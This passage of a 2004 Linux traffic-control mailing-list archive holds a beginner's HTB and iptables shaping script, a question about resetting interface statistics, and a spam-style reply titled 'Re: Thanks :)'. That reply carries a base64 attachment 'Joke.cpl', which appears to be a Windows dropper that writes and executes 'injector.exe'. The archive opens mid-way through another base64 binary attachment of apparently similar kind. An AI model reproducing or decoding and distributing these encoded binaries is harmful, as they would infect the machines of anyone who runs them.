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
hMM1f3Fa+vndpjgJeTDGMYyGFfERBjSQszyIRmu+KUUJS+FgI7NuKzQjeVruPxI8JLYLrsXC
vsj5rxfaHD9hUAP8U35pM2+Cg/Ry1OvkSrULEBfYKyegxXc14Rx6rWcSqywNIVvGzzSEuHNC
rqRFSOvp1F77TCrGI36EhRA/Zob+BzVR7OZ5uyXMiBBIG8mwkRbOWD0OBXw+rSmmzMEuYybS
pjqDCudDoJDukWOqAV5DuxazzNBEk2GtLmT7SDLQv1rf84D9wgz1tG0aKq0c954OoSRuqatc
OBsy0Hx94IwsyIKqFfoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAIAAwAAACAAAIAOAAAA8AAAgAAAAAAAAAAAAAAAAAAABAABAAAAUAAAgAIAAAB4AACA
AwAAAKAAAIAEAAAAyAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAaAAAADDxAADoAgAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAAAY9AAAKAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAABAAAAAAC4AAAAQPUAADABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAA4AAAAHD2
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
pwhdnpSkEYkvxQ8DeztO

----------vqmhaozfbpanchuyvwos--


From Snotling@gmx.net  Wed Nov 10 14:48:35 2004
From: Snotling@gmx.net (=?ISO-8859-1?Q?=22Marcus_Sch=E4fer=22?=)
Date: Wed, 10 Nov 2004 15:48:35 +0100 (MET)
Subject: [LARTC] HTB
Message-ID: <2394.1100098115@www51.gmx.net>

 Hello folks, 
 
 I´m a fully Beginner in Linux and Traffic Control. 
 I have a lot of Problems to realize the following Scenario(I need it for my

 scholastics): 
  
 2 customers share one 2Mbit link. The packets of the customers are coming
on 
 the interface with a NAT Adress each. Each of the customers should use only

 1Mbit of the Line. 
  
          192.168.0.1        - - -  
          customer1    eth0 |     | eth1        customer1 
                 -----------|     |-------------- 
          customer2    2Mbit|     | 2Mbit       customer2 
          192.168.1.99       - - - 
  
 I think I have to use 2 Scripts, one for each interface (on every side). 
  
 I have written a small skript, but i´m unsteady if it works. It would be 
 very nice, if you can take a look at it and give me some hints. 
  
 Greetings  
 Marcus Schäfer 
  
  

############################################################################Traffic

 Control 
 ###########################################################################

  
  
 #! /bin/sh 
 #variables 
 ext_dev_1=eth0 
 bw=1Mbps 
  
 #####root qdisc for eth0 
 tc qdisc add dev $ext_dev_1 root handle 1: htb  
 #####root class for customer 1 on eth0 
 tc class add dev $ext_dev_1 parent 1: classid 1:1 htb rate $bw ceil $bw
prio 
 0 
  
 ##### 3 classes for customer 1 on eth0 
 tc class add dev $ext_dev_1 parent 1:1 classid 1:2 htb rate 450kbps ceil
$bw 
 prio 0 
 tc class add dev $ext_dev_1 parent 1:1 classid 1:3 htb rate 450kbps ceil
$bw 
 prio 1 
 tc class add dev $ext_dev_1 parent 1:1 classid 1:4 htb rate 100kbps ceil
$bw 
 prio 2 
  
  
 #####root class for customer 2 on eth0 
 tc class add dev $ext_dev_1 parent 1: classid 2:1 htb rate $bw ceil $bw
prio 
 0 
  
 #####3 classes for customer 2 on eth0 
 tc class add dev $ext_dev_1 parent 1:1 classid 2:2 htb rate 450kbps ceil
$bw 
 prio 0 
 tc class add dev $ext_dev_1 parent 1:1 classid 2:3 htb rate 450kbps ceil
$bw 
 prio 1 
 tc class add dev $ext_dev_1 parent 1:1 classid 2:4 htb rate 100kbps ceil
$bw 
 prio 2 
  
  
  
 #####Filters which directs packets marked with iptables in the right
classes 
  
  
 #####Filters for customer 1 on eth0 
 tc filter add dev ext_dev_1 parent 1: prio 0 protocol ip handle 1 fw flowid

 1:2 
 tc filter add dev ext_dev_1 parent 1: prio 1 protocol ip handle 2 fw flowid

 1:3 
 tc filter add dev ext_dev_1 parent 1: prio 2 protocol ip handle 3 fw flowid

 1:4  
  
 #####Filters for customer 2 on eth0 
 tc filter add dev ext_dev_1 parent 1: prio 0 protocol ip handle 4 fw flowid

 2:2 
 tc filter add dev ext_dev_1 parent 1: prio 1 protocol ip handle 5 fw flowid

 2:3  
 tc filter add dev ext_dev_1 parent 1: prio 1 protocol ip handle 6 fw flowid

 2:4  
  
  
  
  

############################################################################

 iptables 
 ###########################################################################

  
 $ipt=/sbin/iptables 
  
 ########### mark packets for customer 1 on eth0 ###########################

  
 # mark packets with 1 which come from 192.168.0.1 and have a source port
#of 
 80 
  
 $ipt -t mangle -A FORWARD -s 192.168.0.1 -p tcp --sport 80 -j MARK 
 --set-mark 1 
  
 # mark packets with 2 which come from 192.168.0.1 and have a source port
#of 
 22 
  
 $ipt -t mangle -A FORWARD -s 192.168.0.1 -p tcp --sport 22 -j MARK 
 --set-mark 2 
  
 ######## mark packets for customer 2 on eth0 ##############################

  
 # mark packets with 4 which come from 192.168.1.99 and have a source port 
 #of 80 
  
 $ipt -t mangle -A FORWARD -s 192.168.1.99 -p tcp --sport 80 -j MARK 
 --set-mark 4 
  
  
 # mark packets with 5 which come from 192.168.1.99 and have a source port 
 #of 22 
  
 $ipt -t mangle -A FORWARD -s 192.168.1.99 -p tcp --sport 22 -j MARK 
 --set-mark 5 
  
  
 ######## mark unmatched packets ###########################################

  
 #mark packets with 3 which come from 192.168.0.1 
  
 $ipt -t mangle -A FORWARD -s 192.168.0.1 -j MARK --set-mark 3 
  
 #mark packets with 6 which come from 192.168.1.99 
  
 $ipt -t mangle -A FORWARD -s 192.168.1.99 -j MARK --set-mark 6 

-- 
NEU +++ DSL Komplett von GMX +++ http://www.gmx.net/de/go/dsl
GMX DSL-Netzanschluss + Tarif zum supergünstigen Komplett-Preis!

From anders@anduras.de  Wed Nov 10 17:10:23 2004
From: anders@anduras.de (Sven Anders)
Date: Wed, 10 Nov 2004 18:10:23 +0100
Subject: [LARTC] Reset Statistics?
In-Reply-To: <20041110170457.8935.18676.Mailman@outpost.ds9a.nl>
References: <20041110170457.8935.18676.Mailman@outpost.ds9a.nl>
Message-ID: <41924B7F.3050202@anduras.de>

This is a multi-part message in MIME format.
--------------010702040606070108000702
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Is it possible to reset the statistics (ip -s link) ??

If not, why. Maybe there is a trick?

Regards
~ Sven

- --
~ Sven Anders <anders@anduras.de>

~ ANDURAS service solutions AG
~ Innstraße 71 - 94036 Passau - Germany
~ Web: www.anduras.de - Tel: +49 (0)851-4 90 50-0 - Fax: +49 (0)851-4 90 50-55

Rechtsform: Aktiengesellschaft - Sitz: Passau - Amtsgericht Passau HRB 6032
Mitglieder des Vorstands: Sven Anders, Marcus Junker, Michael Schön
Vorsitzender des Aufsichtsrats: Dipl. Kfm. Karlheinz Antesberger
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFBkkt/5lKZ7Feg4EcRAkSQAJ9aGpZ1K+w7S0oJvLRnUoCqWRimgwCgmV4g
nHK5DbCwfgk+qqn8vA0l8dk=
=spAQ
-----END PGP SIGNATURE-----

--------------010702040606070108000702
Content-Type: text/x-vcard; charset=utf8;
 name="anders.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="anders.vcf"

begin:vcard
fn:Sven Anders
n:Anders;Sven
org:ANDURAS AG;Research and Development
adr;quoted-printable:;;Innstra=C3=9Fe 71;Passau;Bavaria;94036;Germany
email;internet:anders@anduras.de
title:Dipl. Inf.
tel;work:++49 (0)851 / 490 50 - 0
tel;fax:+49 (0)851 / 4 90 50 - 55
x-mozilla-html:FALSE
url:http://www.anduras.de
version:2.1
end:vcard


--------------010702040606070108000702--

From llu@wp.pl  Wed Nov 10 17:53:42 2004
From: llu@wp.pl (Llu)
Date: Wed, 10 Nov 2004 18:53:42 +0100
Subject: [LARTC] Re: Thanks :)
Message-ID: <kerhzjkruavevkgigrj@mailman.ds9a.nl>

----------nwncteqkdwmueziykock
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:)

<br>
</body></html>

----------nwncteqkdwmueziykock
Content-Type: application/octet-stream; name="Joke.cpl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Joke.cpl"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC
AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAALCAAAAAAgAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50
ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA
AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAACwUAAAADAAALBQAAAADAAAAAAAAAAA
AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm
ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95
amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5
dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm
dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2
c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m
a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm
aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1
dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk
eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn
aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl
eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA
ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk
ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz
ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm
aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0
aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo
ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5
dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk
ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn
ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA
AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV
AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k
bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB
AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl
QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW
ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC
DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN
RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU
ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAATzVbNWA1azWBNYY18DX2Nfw1AjYINg42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
